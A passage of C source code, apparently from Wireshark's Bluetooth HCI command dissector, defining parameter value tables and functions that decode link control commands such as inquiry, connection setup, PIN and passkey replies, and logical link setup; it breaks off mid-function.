static const value_string cmd_key_flag[] = {
{0x00, "Using Semi-permanent Link Key"},
{0x01, "Using Temporary Link Key"},
{0, NULL }
};
static const value_string cmd_filter_types[] = {
{0x00, "Clear all Filters" },
{0x01, "Inquiry Result" },
{0x02, "Connection Setup" },
{0, NULL }
};
static const value_string cmd_inquiry_result_filter_condition_types[] = {
{0x00, "A new device responded" },
{0x01, "A device with the specified Class of Device responded" },
{0x02, "A device with the specified BD_ADDR responded" },
{0, NULL }
};
static const value_string cmd_service_types[] = {
{0x00, "No Traffic"},
{0x01, "Best Effort"},
{0x02, "Guaranteed"},
{0, NULL }
};
static const value_string cmd_connection_setup_filter_condition_types[] = {
{0x00, "Allow Connections from all devices" },
{0x01, "Allow Connections from a device with a specific Class of Device" },
{0x02, "Allow Connections from a device with a specific BD_ADDR" },
{0, NULL }
};
static const value_string cmd_auto_acc_flag_values[] = {
{0x01, "Do NOT Auto accept" },
{0x02, "Do Auto accept, role switch disabled" },
{0x03, "Do Auto accept, role switch enabled" },
{0, NULL }
};
static const value_string cmd_read_all_flag_values[] = {
{0x00, "Return Link Key for specified BD_ADDR" },
{0x01, "Return all stored Link Keys" },
{0, NULL }
};
static const value_string cmd_delete_all_flag_values[] = {
{0x00, "Delete only Link Key for specified BD_ADDR" },
{0x01, "Delete all stored Link Keys" },
{0, NULL }
};
const value_string bthci_cmd_scan_enable_values[] = {
{0x00, "No Scans enabled" },
{0x01, "Inquiry Scan enabled/Page Scan disable" },
{0x02, "Inquiry Scan disabled/Page Scan enabled" },
{0x03, "Inquiry Scan enabled/Page Scan enabled" },
{0, NULL }
};
static const value_string cmd_authentication_enable_values[] = {
{0x00, "Authentication disabled" },
{0x01, "Authentication enabled for all connection" },
{0, NULL }
};
static const value_string cmd_input_coding_values[] = {
{0x0, "Linear" },
{0x1, "\xb5-law" },
{0x2, "A-law" },
{0, NULL }
};
value_string_ext bthci_cmd_input_coding_vals_ext = VALUE_STRING_EXT_INIT(cmd_input_coding_values);
static const value_string cmd_input_data_format_values[] = {
{0x0, "1's complement" },
{0x1, "2's complement" },
{0x2, "Sign-Magnitude" },
{0x3, "Unsigned" },
{0, NULL }
};
value_string_ext bthci_cmd_input_data_format_vals_ext = VALUE_STRING_EXT_INIT(cmd_input_data_format_values);
static const value_string cmd_input_sample_size_values[] = {
{0x0, "8 bit (only for Linear PCM)" },
{0x1, "16 bit (only for Linear PCM)" },
{0, NULL }
};
value_string_ext bthci_cmd_input_sample_size_vals_ext = VALUE_STRING_EXT_INIT(cmd_input_sample_size_values);
static const value_string cmd_air_coding_format_values[] = {
{0x0, "CVSD" },
{0x1, "\xb5-law" },
{0x2, "A-law" },
{0x3, "Transparent" },
{0, NULL }
};
value_string_ext bthci_cmd_air_coding_format_vals_ext = VALUE_STRING_EXT_INIT(cmd_air_coding_format_values);
static const value_string cmd_en_disabled[] = {
{0x00, "disabled" },
{0x01, "enabled" },
{0, NULL }
};
static const value_string cmd_flow_contr_enable[] = {
{0x00, "Flow control off in direction from Host Controller to Host." },
{0x01, "ON - HCI ACL Data Packets / OFF - HCI SCO Data Packets" },
{0x02, "OFF - HCI ACL Data Packets / ON - HCI SCO Data Packets" },
{0x03, "ON - HCI ACL Data Packets / ON - HCI SCO Data Packets" },
{0, NULL }
};
static const value_string cmd_power_level_types[] = {
{0x00, "Current Tx Power Level" },
{0x01, "Maximum Tx Power Level" },
{0, NULL }
};
static const value_string cmd_loopback_modes[] = {
{0x00, "No Loopback mode enabled" },
{0x01, "Enable Local Loopback" },
{0x02, "Enable Remote Loopback" },
{0, NULL }
};
static const value_string cmd_encrypt_mode_vals[] = {
{ 0x00, "Encryption Disabled" },
{ 0x01, "Encryption only for Point-To-Point Packets" },
{ 0x02, "Encryption for Point-To-Point and Broadcast Packets" },
{ 0, NULL }
};
static const value_string cmd_boolean[] = {
{0, "false" },
{1, "true" },
{0, NULL }
};
const value_string bthci_cmd_page_scan_modes[] = {
{0, "Mandatory Page Scan Mode"},
{1, "Optional Page Scan Mode I"},
{2, "Optional Page Scan Mode II"},
{3, "Optional Page Scan Mode III"},
{0, NULL }
};
const value_string bthci_cmd_page_scan_repetition_modes[] = {
{0, "R0"},
{1, "R1"},
{2, "R2"},
{0, NULL }
};
const value_string bthci_cmd_page_scan_period_modes[] = {
{0, "P0"},
{1, "P1"},
{2, "P2"},
{0, NULL }
};
static const value_string cmd_role_switch_modes[] = {
{0, "Local device will be master, and will not accept a master-slave switch request." },
{1, "Local device may be master, or may become slave after accepting a master slave switch." },
{0, NULL }
};
static const value_string cmd_rtx_effort[] = {
{0x00, "No Retransmission" },
{0x01, "At least 1 retransmission, optimize for power consumption" },
{0x02, "At least 1 retransmission, optimize for link quality" },
{0xFF, "Don't Care" },
{ 0, NULL }
};
static const value_string cmd_scan_types[] = {
{0x00, "Standard Scan" },
{0x01, "Interlaced Scan" },
{ 0, NULL }
};
static const value_string cmd_inq_modes[] = {
{0x00, "Standard Results" },
{0x01, "Results With RSSI" },
{0x02, "Results With RSSI or Extended Results" },
{ 0, NULL }
};
static const value_string cmd_flush_pkt_type[] = {
{0x00, "Automatically Flushable Only" },
{ 0, NULL }
};
static const value_string cmd_which_clock[] = {
{0x00, "Local" },
{0x01, "Piconet" },
{ 0, NULL }
};
const value_string bthci_cmd_notification_types[] = {
{0x00, "Passkey Entry Started" },
{0x01, "Passkey Digit Entered" },
{0x02, "Passkey Digit Erased" },
{0x03, "Passkey Cleared" },
{0x04, "Passkey Entry Completed" },
{ 0, NULL }
};
static const value_string bthci_cmd_amp_key_type[] = {
{0x03, "Debug Combination Key" },
{0x04, "Authenticated Combination Key" },
{0x05, "Unauthenticated Combination Key" },
{ 0, NULL }
};
static const value_string cmd_flow_spec_servicetype[] = {
{ 0x00, "No traffic" },
{ 0x01, "Best effort (Default)" },
{ 0x02, "Guaranteed" },
{ 0, NULL }
};
static const value_string cmd_flow_ctrl_mode[] = {
{ 0x00, "Packet based" },
{ 0x01, "Data Block based" },
{ 0, NULL }
};
static const value_string cmd_le_advertising_types[] = {
{ 0x00, "Connectable Undirected Advertising" },
{ 0x01, "Connectable Directed Advertising" },
{ 0x02, "Scannable Undirected Advertising" },
{ 0x03, "Non-Connectable Undirected Advertising" },
{ 0, NULL }
};
static const value_string cmd_le_advertising_filter_policy[] = {
{ 0x00, "Allow Scan Req from Any, Allow Connect Req from Any" },
{ 0x01, "Allow Scan Req from White List Only, Allow Connect Req from Any" },
{ 0x02, "Allow Scan Req from Any, Allow Connect Req from White List Only" },
{ 0x03, "Allow Scan Req from White List Only, Allow Connect Req from White List Only." },
{ 0, NULL }
};
static const value_string cmd_le_scan_types[] = {
{ 0x00, "Passive" },
{ 0x01, "Active" },
{ 0, NULL }
};
static const value_string cmd_le_scan_filter_policy[] = {
{ 0x00, "Accept all advertisments. Ignore directed advertisements not addresed to this device" },
{ 0x01, "Ignore advertisments from devices not in the white list only. Ignore directed advertisements not addresed to this device" },
{ 0, NULL }
};
static const value_string cmd_init_filter_policy[] = {
{ 0x00, "Use Peer Address" },
{ 0x01, "Use White List. Ignore Peer Address" },
{ 0, NULL }
};
static const value_string cmd_le_test_pkt_payload[] = {
{ 0x00, "Pseudo-Random Sequence 9" },
{ 0x01, "Pattern Of Alternating Bits '11110000'" },
{ 0x02, "Pattern Of Alternating Bits '10101010'" },
{ 0x03, "Pseudo-Random Sequence 15" },
{ 0x04, "Pattern Of All '1' bits" },
{ 0x05, "Pattern Of All '0' bits" },
{ 0x06, "Pattern Of Alternating Bits '00001111'" },
{ 0x07, "Pattern Of Alternating Bits '0101'" },
{ 0, NULL }
};
static const value_string le_role_vals[] = {
{ 0x00, "Only Peripheral Role Supported" },
{ 0x01, "Only Central Role Supported" },
{ 0x02, "Peripheral and Central Role supported, Peripheral Role preferred for connection establishment" },
{ 0x03, "Peripheral and Central Role supported, Central Role preferred for connection establishment" },
{ 0, NULL }
};
value_string_ext le_role_vals_ext = VALUE_STRING_EXT_INIT(le_role_vals);
void proto_register_bthci_cmd(void);
void proto_reg_handoff_bthci_cmd(void);
void proto_register_btcommon(void);
static void bthci_cmd_vendor_prompt(packet_info *pinfo _U_, gchar* result)
{
g_snprintf(result, MAX_DECODE_AS_PROMPT_LEN, "Vendor as");
}
static gpointer bthci_cmd_vendor_value(packet_info *pinfo _U_)
{
return NULL;
}
static void
save_local_device_name(tvbuff_t *tvb, gint offset, packet_info *pinfo,
guint8 size, hci_data_t *hci_data)
{
gint i = 0;
guint8 length;
wmem_tree_key_t key[4];
guint32 k_interface_id;
guint32 k_adapter_id;
guint32 k_frame_number;
gchar *name;
localhost_name_entry_t *localhost_name_entry;
if (!(!pinfo->fd->flags.visited && hci_data)) return;
while (i < size) {
length = tvb_get_guint8(tvb, offset + i);
if (length == 0) break;
switch(tvb_get_guint8(tvb, offset + i + 1)) {
case 0x08: /* Device Name, shortened */
case 0x09: /* Device Name, full */
name = tvb_get_string_enc(wmem_packet_scope(), tvb, offset + i + 2, length - 1, ENC_ASCII);
k_interface_id = hci_data->interface_id;
k_adapter_id = hci_data->adapter_id;
k_frame_number = pinfo->fd->num;
key[0].length = 1;
key[0].key = &k_interface_id;
key[1].length = 1;
key[1].key = &k_adapter_id;
key[2].length = 1;
key[2].key = &k_frame_number;
key[3].length = 0;
key[3].key = NULL;
localhost_name_entry = (localhost_name_entry_t *) wmem_new(wmem_file_scope(), localhost_name_entry_t);
localhost_name_entry->interface_id = k_interface_id;
localhost_name_entry->adapter_id = k_adapter_id;
localhost_name_entry->name = wmem_strdup(wmem_file_scope(), name);
wmem_tree_insert32_array(hci_data->localhost_name, key, localhost_name_entry);
break;
}
i += length + 1;
}
}
static int
dissect_bthci_cmd_cod_mask(tvbuff_t *tvb, int offset, packet_info *pinfo _U_, proto_tree *tree)
{
proto_item *cod_mask_item;
proto_item *cod_mask_tree;
cod_mask_item = proto_tree_add_item(tree, hf_bthci_cmd_cod_class_of_device_mask, tvb, offset, 3, ENC_LITTLE_ENDIAN);
cod_mask_tree = proto_item_add_subtree(cod_mask_item, ett_cod_mask);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_minor_device_class_mask, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_format_type_mask, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset += 1;
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_information_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_telephony_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_audio_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_object_transfer_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_capturing_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_rendering_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_networking_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_positioning_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_reserved_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_service_class_limited_discoverable_mode_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_mask_tree, hf_bthci_cmd_cod_major_device_class_mask, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset += 2;
return offset;
}
static int
dissect_bthci_cmd_flow_spec(tvbuff_t *tvb, int offset, packet_info *pinfo _U_, proto_tree *tree, gboolean tx)
{
proto_item *ti_flow_spec;
proto_tree *ti_flow_spec_subtree;
ti_flow_spec = proto_tree_add_none_format(tree, hf_bthci_cmd_flow_spec, tvb, offset, 16, tx?"Tx Flow Spec ":"Rx Flow Spec");
ti_flow_spec_subtree = proto_item_add_subtree(ti_flow_spec, ett_flow_spec_subtree);
proto_tree_add_item(ti_flow_spec_subtree, hf_bthci_cmd_flow_spec_identifier, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(ti_flow_spec_subtree, hf_bthci_cmd_flow_spec_service_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(ti_flow_spec_subtree, hf_bthci_cmd_flow_spec_sdu_size, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(ti_flow_spec_subtree, hf_bthci_cmd_flow_spec_sdu_arrival_time, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(ti_flow_spec_subtree, hf_bthci_cmd_flow_spec_access_latency, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(ti_flow_spec_subtree, hf_bthci_cmd_flush_to_us, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
return offset;
}
static int
dissect_link_control_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo, proto_tree *tree, guint16 cmd_ocf)
{
proto_item *item;
guint32 clock_value;
switch (cmd_ocf) {
case 0x0001: /* Inquiry */
proto_tree_add_item(tree, hf_bthci_cmd_lap, tvb, offset, 3, ENC_LITTLE_ENDIAN);
offset+=3;
item = proto_tree_add_item(tree, hf_bthci_cmd_inq_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g sec)", 1.28*tvb_get_guint8(tvb, offset));
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_num_responses, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0003: /* Periodic Inquiry Mode */
item = proto_tree_add_item(tree, hf_bthci_cmd_max_period_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g sec)", 1.28*tvb_get_letohs(tvb, offset));
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_min_period_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g sec)", 1.28*tvb_get_letohs(tvb, offset));
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_lap, tvb, offset, 3, ENC_LITTLE_ENDIAN);
offset+=3;
item = proto_tree_add_item(tree, hf_bthci_cmd_inq_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g sec)", 1.28*tvb_get_guint8(tvb, offset));
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_num_responses, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0005: /* Create Connection */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_2dh1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_3dh1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dm1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dh1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_2dh3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_3dh3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dm3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dh3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_2dh5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_3dh5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dm5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dh5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_page_scan_repetition_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_page_scan_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
item = proto_tree_add_item(tree, hf_bthci_cmd_clock_offset, tvb, offset, 2, ENC_LITTLE_ENDIAN);
clock_value = tvb_get_letohs(tvb, 13) & 32767; /* only bit0-14 are valid */
proto_item_append_text(item, " (%g msec)", 1.25*clock_value);
proto_tree_add_item(tree, hf_bthci_cmd_clock_offset_valid , tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_allow_role_switch, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0006: /* Disconnect */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_reason, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0007: /* Add SCO Connection */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_hv1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_hv2, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_hv3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0008: /* Create Connection Cancel Request */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x0009: /* Accept Connection Request */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_role, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x000a: /* Reject Connection Request */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_reason, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x000b: /* Link Key Request Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_link_key, tvb, offset, 16, ENC_NA);
offset+=16;
break;
case 0x000c: /* Link Key Request Negative Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x000d: /* PIN Code Request Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_pin_code_length ,tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_pin_code ,tvb, offset, 16, ENC_ASCII|ENC_NA);
offset+=16;
break;
case 0x000e: /* PIN Code Request Negative Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x000f: /* Change Connection Packet Type */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_2dh1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_3dh1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dm1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dh1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_2dh3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_3dh3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dm3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dh3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_2dh5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_3dh5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dm5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_packet_type_dh5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0011: /* Authentication Request */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0013: /* Set Connection Encryption */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_encryption_enable, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0017: /* Master Link Key */
proto_tree_add_item(tree, hf_bthci_cmd_key_flag, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0019: /* Remote Name Request */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_page_scan_repetition_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_page_scan_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
item = proto_tree_add_item(tree, hf_bthci_cmd_clock_offset, tvb, offset, 2, ENC_LITTLE_ENDIAN);
clock_value = tvb_get_letohs(tvb, offset) & 32767; /* only bit0-14 are valid */
proto_item_append_text(item, " (%g msec)", 1.25*clock_value);
proto_tree_add_item(tree, hf_bthci_cmd_clock_offset_valid , tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x001a: /* Remote Name Request Cancel */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x001c: /* Read Remote Extended Features */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_page_number, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0028: /* Setup Synchronous Connection */
case 0x0029: /* Accept Synchronous Connection Request */
if (cmd_ocf == 0x0028) {
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
} else {
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
}
proto_tree_add_item(tree, hf_bthci_cmd_transmit_bandwidth, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_receive_bandwidth, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
proto_tree_add_item(tree, hf_bthci_cmd_max_latency_ms, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_input_unused, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_input_coding, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_input_data_format, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_input_sample_size, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_linear_pcm_bit_pos, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_air_coding_format, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_retransmission_effort, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_hv1, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_hv2, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_hv3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_ev3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_ev4, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_ev5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_2ev3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_3ev3, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_2ev5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_sco_packet_type_3ev5, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x002a: /* Reject Synchronous Connection Request */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_reason, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0015: /* Change Connection Link Key */
case 0x001b: /* Read Remote Supported Features */
case 0x001d: /* Read Remote Version Information */
case 0x001f: /* Read Clock Offset*/
case 0x0020: /* Read LMP Handle */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x002b: /* IO Capability Response */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_io_capability, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_oob_data_present, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_auth_requirements, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0034: /* IO Capability Request Negative Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_reason, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x002c: /* User Confirmation Request Reply */
case 0x002d: /* User Confirmation Request Negative Reply */
case 0x002f: /* User Passkey Request Negative Reply */
case 0x0033: /* Remote OOB Data Request Negative Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x002e: /* User Passkey Request Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_passkey, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
break;
case 0x0030: /* Remote OOB Data Request Reply */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_hash_c, tvb, offset, 16, ENC_NA);
offset+=16;
proto_tree_add_item(tree, hf_bthci_cmd_randomizer_r, tvb, offset, 16, ENC_NA);
offset+=16;
break;
case 0x0035: /* Create Physical Link */
case 0x0036: /* Accept Physical Link */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_dedicated_amp_key_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_dedicated_amp_key_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_dedicated_amp_key, tvb, offset, -1, ENC_NA);
offset+=tvb_length_remaining(tvb, offset);
break;
case 0x0037: /* Disconnect Physical Link */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_reason, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0038: /* Create Logical Link */
case 0x0039: /* Accept Logical Link */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
offset = dissect_bthci_cmd_flow_spec(tvb, offset, pinfo, tree, TRUE);
offset = dissect_bthci_cmd_flow_spec(tvb, offset, pinfo, tree, FALSE);
break;
case 0x003a: /* Disconnect Logical Link */
